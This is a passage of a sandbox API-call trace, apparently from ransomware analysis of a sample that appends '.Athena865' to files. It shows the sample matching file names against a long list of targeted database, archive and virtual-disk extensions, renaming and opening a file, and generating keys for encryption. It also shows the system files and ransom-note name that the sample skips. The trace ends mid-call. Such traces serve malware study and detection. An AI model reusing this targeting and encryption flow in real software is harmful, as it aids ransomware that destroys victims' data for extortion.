[0053.934] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.934] lstrlenW (lpString=".sys") returned 4 [0053.934] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.934] lstrlenW (lpString="desktop.ini") returned 11 [0053.934] lstrlenW (lpString="bak") returned 3 [0053.934] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.934] lstrlenW (lpString="ba_") returned 3 [0053.934] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.934] lstrlenW (lpString="dbb") returned 3 [0053.934] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.934] lstrlenW (lpString="vmdk") returned 4 [0053.934] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.934] lstrlenW (lpString="rar") returned 3 [0053.934] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.934] lstrlenW (lpString="zip") returned 3 [0053.934] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.935] lstrlenW (lpString="tgz") returned 3 [0053.935] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.935] lstrlenW (lpString="vbox") returned 4 [0053.935] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.935] lstrlenW (lpString="vdi") returned 3 [0053.935] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.935] lstrlenW (lpString="vhd") returned 3 [0053.935] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.935] lstrlenW (lpString="vhdx") returned 4 [0053.935] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.935] lstrlenW (lpString="avhd") returned 4 [0053.935] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.935] lstrlenW (lpString="db") returned 2 [0053.935] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.935] lstrlenW (lpString="db2") returned 3 [0053.935] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.935] lstrlenW (lpString="db3") returned 3 [0053.935] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.935] lstrlenW (lpString="dbf") returned 3 [0053.935] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.935] lstrlenW (lpString="mdf") returned 3 [0053.935] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.935] lstrlenW (lpString="mdb") returned 3 [0053.935] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.935] lstrlenW (lpString="sql") returned 3 [0053.935] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.935] lstrlenW (lpString="sqlite") returned 6 [0053.935] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.935] lstrlenW (lpString="sqlite3") returned 7 [0053.935] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.935] lstrlenW (lpString="sqlitedb") returned 8 [0053.935] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.935] lstrlenW (lpString="xml") returned 3 [0053.936] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.936] lstrlenW (lpString="$er") returned 3 [0053.936] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.936] lstrlenW (lpString="4dd") returned 3 [0053.936] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.936] lstrlenW (lpString="4dl") returned 3 [0053.936] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.936] lstrlenW (lpString="^^^") returned 3 [0053.936] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.936] lstrlenW (lpString="abs") returned 3 [0053.936] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.936] lstrlenW (lpString="abx") returned 3 [0053.936] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.936] lstrlenW (lpString="accdb") returned 5 [0053.936] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.936] lstrlenW (lpString="accdc") returned 5 [0053.936] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.936] lstrlenW (lpString="accde") returned 5 [0053.936] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.936] lstrlenW (lpString="accdr") returned 5 [0053.936] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.936] lstrlenW (lpString="accdt") returned 5 [0053.936] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.936] lstrlenW (lpString="accdw") returned 5 [0053.936] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.936] lstrlenW (lpString="accft") returned 5 [0053.936] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.936] lstrlenW (lpString="adb") returned 3 [0053.936] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.936] lstrlenW (lpString="adb") returned 3 [0053.936] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.936] lstrlenW (lpString="ade") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.937] lstrlenW (lpString="adf") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.937] lstrlenW (lpString="adn") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.937] lstrlenW (lpString="adp") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.937] lstrlenW (lpString="alf") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.937] lstrlenW (lpString="ask") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.937] lstrlenW (lpString="btr") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.937] lstrlenW (lpString="cat") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.937] lstrlenW (lpString="cdb") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.937] lstrlenW (lpString="ckp") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.937] lstrlenW (lpString="cma") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.937] lstrlenW (lpString="cpd") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.937] lstrlenW (lpString="dacpac") returned 6 [0053.937] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.937] lstrlenW (lpString="dad") returned 3 [0053.937] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.937] lstrlenW (lpString="dadiagrams") returned 10 [0053.937] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.937] lstrlenW (lpString="daschema") returned 8 [0053.937] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.937] lstrlenW (lpString="db-journal") returned 10 [0053.937] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.938] lstrlenW (lpString="db-shm") returned 6 [0053.938] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.938] lstrlenW (lpString="db-wal") returned 6 [0053.938] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.938] lstrlenW (lpString="dbc") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.938] lstrlenW (lpString="dbs") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.938] lstrlenW (lpString="dbt") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.938] lstrlenW (lpString="dbv") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.938] lstrlenW (lpString="dbx") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.938] lstrlenW (lpString="dcb") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.938] lstrlenW (lpString="dct") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.938] lstrlenW (lpString="dcx") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.938] lstrlenW (lpString="ddl") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.938] lstrlenW (lpString="dlis") returned 4 [0053.938] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.938] lstrlenW (lpString="dp1") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.938] lstrlenW (lpString="dqy") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.938] lstrlenW (lpString="dsk") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.938] lstrlenW (lpString="dsn") returned 3 [0053.938] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.939] lstrlenW (lpString="dtsx") returned 4 [0053.939] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.939] lstrlenW (lpString="dxl") returned 3 [0053.939] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.939] lstrlenW (lpString="eco") returned 3 [0053.939] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.939] lstrlenW (lpString="ecx") returned 3 [0053.939] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.939] lstrlenW (lpString="edb") returned 3 [0053.939] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.939] lstrlenW (lpString="epim") returned 4 [0053.939] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.939] lstrlenW (lpString="fcd") returned 3 [0053.939] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.939] lstrlenW (lpString="fdb") returned 3 [0053.939] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.939] lstrlenW (lpString="fic") returned 3 [0053.939] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0053.939] lstrlenW (lpString="flexolibrary") returned 12 [0053.939] lstrlenW (lpString="fm5") returned 3 [0053.939] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.939] lstrlenW (lpString="fmp") returned 3 [0053.939] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.939] lstrlenW (lpString="fmp12") returned 5 [0053.939] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.939] lstrlenW (lpString="fmpsl") returned 5 [0053.939] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.939] lstrlenW (lpString="fol") returned 3 [0053.939] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.939] lstrlenW (lpString="fp3") returned 3 [0053.939] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.939] lstrlenW (lpString="fp4") returned 3 [0053.939] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.940] lstrlenW (lpString="fp5") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.940] lstrlenW (lpString="fp7") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.940] lstrlenW (lpString="fpt") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.940] lstrlenW (lpString="frm") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.940] lstrlenW (lpString="gdb") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.940] lstrlenW (lpString="gdb") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.940] lstrlenW (lpString="grdb") returned 4 [0053.940] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.940] lstrlenW (lpString="gwi") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.940] lstrlenW (lpString="hdb") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.940] lstrlenW (lpString="his") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.940] lstrlenW (lpString="ib") returned 2 [0053.940] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.940] lstrlenW (lpString="idb") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.940] lstrlenW (lpString="ihx") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.940] lstrlenW (lpString="itdb") returned 4 [0053.940] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.940] lstrlenW (lpString="itw") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.940] lstrlenW (lpString="jet") returned 3 [0053.940] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.941] lstrlenW (lpString="jtx") returned 3 [0053.941] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.941] lstrlenW (lpString="kdb") returned 3 [0053.941] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.941] lstrlenW (lpString="kexi") returned 4 [0053.941] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.941] lstrlenW (lpString="kexic") returned 5 [0053.941] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.941] lstrlenW (lpString="kexis") returned 5 [0053.941] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.941] lstrlenW (lpString="lgc") returned 3 [0053.941] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.941] lstrlenW (lpString="lwx") returned 3 [0053.941] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.941] lstrlenW (lpString="maf") returned 3 [0053.941] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.941] lstrlenW (lpString="maq") returned 3 [0053.941] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.941] lstrlenW (lpString="mar") returned 3 [0053.941] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.941] lstrlenW (lpString="marshal") returned 7 [0053.941] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.941] lstrlenW (lpString="mas") returned 3 [0053.941] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.941] lstrlenW (lpString="mav") returned 3 [0053.941] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.941] lstrlenW (lpString="maw") returned 3 [0053.941] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.941] lstrlenW (lpString="mdbhtml") returned 7 [0053.941] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.941] lstrlenW (lpString="mdn") returned 3 [0053.941] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.941] lstrlenW (lpString="mdt") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.942] lstrlenW (lpString="mfd") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.942] lstrlenW (lpString="mpd") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.942] lstrlenW (lpString="mrg") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.942] lstrlenW (lpString="mud") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.942] lstrlenW (lpString="mwb") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.942] lstrlenW (lpString="myd") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.942] lstrlenW (lpString="ndf") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.942] lstrlenW (lpString="nnt") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.942] lstrlenW (lpString="nrmlib") returned 6 [0053.942] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.942] lstrlenW (lpString="ns2") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.942] lstrlenW (lpString="ns3") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.942] lstrlenW (lpString="ns4") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.942] lstrlenW (lpString="nsf") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.942] lstrlenW (lpString="nv") returned 2 [0053.942] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.942] lstrlenW (lpString="nv2") returned 3 [0053.942] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.942] lstrlenW (lpString="nwdb") returned 4 [0053.942] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.943] lstrlenW (lpString="nyf") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.943] lstrlenW (lpString="odb") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.943] lstrlenW (lpString="odb") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.943] lstrlenW (lpString="oqy") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.943] lstrlenW (lpString="ora") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.943] lstrlenW (lpString="orx") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.943] lstrlenW (lpString="owc") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.943] lstrlenW (lpString="p96") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.943] lstrlenW (lpString="p97") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.943] lstrlenW (lpString="pan") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.943] lstrlenW (lpString="pdb") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.943] lstrlenW (lpString="pdm") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.943] lstrlenW (lpString="pnz") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.943] lstrlenW (lpString="qry") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.943] lstrlenW (lpString="qvd") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.943] lstrlenW (lpString="rbf") returned 3 [0053.943] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.943] lstrlenW (lpString="rctd") returned 4 [0053.943] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.944] lstrlenW (lpString="rod") returned 3 [0053.944] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.944] lstrlenW (lpString="rodx") returned 4 [0053.944] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.944] lstrlenW (lpString="rpd") returned 3 [0053.944] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.944] lstrlenW (lpString="rsd") returned 3 [0053.944] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.944] lstrlenW (lpString="sas7bdat") returned 8 [0053.944] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0053.944] lstrlenW (lpString="sbf") returned 3 [0053.944] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.944] lstrlenW (lpString="scx") returned 3 [0053.944] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.944] lstrlenW (lpString="sdb") returned 3 [0053.944] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.944] lstrlenW (lpString="sdc") returned 3 [0053.944] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.944] lstrlenW (lpString="sdf") returned 3 [0053.944] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.944] lstrlenW (lpString="sis") returned 3 [0053.944] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.944] lstrlenW (lpString="spq") returned 3 [0053.944] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.944] lstrlenW (lpString="te") returned 2 [0053.944] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.944] lstrlenW (lpString="teacher") returned 7 [0053.944] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.944] lstrlenW (lpString="tmd") returned 3 [0053.944] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.944] lstrlenW (lpString="tps") returned 3 [0053.944] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.944] lstrlenW (lpString="trc") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.945] lstrlenW (lpString="trc") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.945] lstrlenW (lpString="trm") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.945] lstrlenW (lpString="udb") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.945] lstrlenW (lpString="udl") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.945] lstrlenW (lpString="usr") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.945] lstrlenW (lpString="v12") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.945] lstrlenW (lpString="vis") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.945] lstrlenW (lpString="vpd") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.945] lstrlenW (lpString="vvv") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.945] lstrlenW (lpString="wdb") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.945] lstrlenW (lpString="wmdb") returned 4 [0053.945] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.945] lstrlenW (lpString="wrk") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.945] lstrlenW (lpString="xdb") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.945] lstrlenW (lpString="xld") returned 3 [0053.945] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.945] lstrlenW (lpString="xmlff") returned 5 [0053.945] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.945] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Searches\\desktop.ini.Athena865") returned 64 [0053.945] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Searches\\desktop.ini" (normalized: "c:\\documents and settings\\default\\searches\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Searches\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\searches\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.946] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Searches\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\searches\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.946] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=524) returned 1 [0053.946] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519a20 [0053.954] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519aa8) returned 1 [0053.955] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.955] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0053.955] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x510, lpName=0x0) returned 0x17c [0053.957] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x510) returned 0x100000 [0053.958] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519aa8) returned 1 [0053.958] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.959] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0053.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0053.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0053.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.959] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.959] CloseHandle (hObject=0x17c) returned 1 [0053.959] CloseHandle (hObject=0x154) returned 1 [0053.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0053.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.960] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".") returned 1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="..") returned 1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="windows") returned -1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="bootmgr") returned 1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="temp") returned -1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="pagefile.sys") returned -1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="boot") returned 1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ids.txt") returned -1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ntuser.dat") returned -1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="perflogs") returned -1 [0053.960] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="MSBuild") returned -1 [0053.960] lstrlenW 